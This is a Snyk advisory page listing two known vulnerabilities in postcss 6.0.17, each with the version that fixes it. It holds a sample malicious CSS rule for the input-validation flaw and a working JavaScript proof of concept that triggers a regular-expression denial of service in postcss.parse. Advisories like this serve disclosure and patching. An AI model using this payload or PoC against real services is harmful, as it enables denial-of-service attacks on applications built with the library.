Homepage
About Snyk

postcss@6.0.17 vulnerabilities

Tool for transforming styles with JS plugins

Go back to all versions of this package
Report a new vulnerability Found a mistake?

Direct Vulnerabilities

Known vulnerabilities in the postcss package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Improper Input Validation

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Improper Input Validation when parsing external Cascading Style Sheets (CSS) with linters using PostCSS. An attacker can cause discrepancies by injecting malicious CSS rules, such as @font-face{ font:(\r/*);}. This vulnerability is because of an insecure regular expression usage in the RE_BAD_BRACKET variable.

How to fix Improper Input Validation?

Upgrade postcss to version 8.4.31 or higher.

<8.4.31
  • M
Regular Expression Denial of Service (ReDoS)

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \/\*\s*# sourceMappingURL=(.*).

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

// postcss.parse('a{}/*# sourceMappingURL=a.css.map */')
for(var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        try{
            postcss.parse(attack_str)
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
            }
        catch(e){
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
        }
    }
}

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade postcss to version 8.2.13, 7.0.36 or higher.

>=8.0.0 <8.2.13 <7.0.36
Go back to all versions of this package